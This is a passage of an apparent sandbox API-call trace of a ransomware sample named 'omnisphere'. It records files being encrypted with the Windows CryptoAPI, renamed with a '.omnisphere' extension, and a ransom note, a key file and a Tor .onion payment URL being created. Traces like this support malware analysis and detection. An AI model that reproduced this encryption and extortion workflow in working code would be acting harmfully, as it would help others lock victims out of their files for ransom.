CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.088] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.088] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0116.088] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x447, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.088] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.089] GetProcessHeap () returned 0x1600000 [0116.089] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16914a8 [0116.089] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\database1.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\database1.lnk.omnisphere")) returned 1 [0116.090] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.omnisphere.id" [0116.090] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\database1.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.090] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.092] CloseHandle (hObject=0x3c0) returned 1 [0116.093] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.093] CloseHandle (hObject=0x288) returned 1 [0116.093] SetEndOfFile (hFile=0x28c) returned 1 [0116.093] FlushFileBuffers (hFile=0x28c) returned 1 [0116.097] CloseHandle (hObject=0x28c) returned 1 [0116.097] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 1 [0116.097] GetProcessHeap () returned 0x1600000 [0116.097] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1691760 [0116.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.098] GetProcessHeap () returned 0x1600000 [0116.098] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165ef18 [0116.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165ef18, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.098] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.098] GetProcessHeap () returned 0x1600000 [0116.098] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16875a8 [0116.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16875a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.098] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.098] GetProcessHeap () returned 0x1600000 [0116.098] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1631a20 [0116.098] PathCombineW (in: pszDest=0x1631a20, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" [0116.098] GetProcessHeap () returned 0x1600000 [0116.098] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168e070 [0116.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.098] WriteFile (in: hFile=0x28c, lpBuffer=0x168e070*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x168e070*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0116.099] CloseHandle (hObject=0x28c) returned 1 [0116.099] GetProcessHeap () returned 0x1600000 [0116.099] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691760 | out: hHeap=0x1600000) returned 1 [0116.099] GetProcessHeap () returned 0x1600000 [0116.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162da78 [0116.099] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" [0116.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.099] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0116.100] CloseHandle (hObject=0x28c) returned 1 [0116.100] GetProcessHeap () returned 0x1600000 [0116.100] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162da78 | out: hHeap=0x1600000) returned 1 [0116.100] GetProcessHeap () returned 0x1600000 [0116.100] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656190 | out: hHeap=0x1600000) returned 1 [0116.100] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a21569, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33a21569, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x33a477c8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0xd4, cFileName="Documents.LNK", cAlternateFileName="DOCUME~1.LNK")) returned 1 [0116.100] GetProcessHeap () returned 0x1600000 [0116.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656f58 [0116.100] PathCombineW (in: pszDest=0x1656f58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="Documents.LNK" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK" [0116.100] StrStrW (lpFirst=".omnisphere", lpSrch=".LNK") returned 0x0 [0116.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\documents.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.101] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=939) returned 1 [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.101] GetTickCount () returned 0x115d07b [0116.102] GetTickCount () returned 0x115d07b [0116.102] GetTickCount () returned 0x115d07b [0116.102] GetTickCount () returned 0x115d07b [0116.102] GetTickCount () returned 0x115d07b [0116.102] GetTickCount () returned 0x115d07b [0116.102] GetTickCount () returned 0x115d07b [0116.102] GetTickCount () returned 0x115d07b [0116.102] GetTickCount () returned 0x115d07b [0116.102] GetTickCount () returned 0x115d07b [0116.102] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668a38) returned 1 [0116.103] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0116.103] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.103] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.103] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0116.103] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ab, lpName=0x0) returned 0x288 [0116.103] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ab) returned 0x1480000 [0116.104] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669120) returned 1 [0116.105] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0116.105] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.105] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.106] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 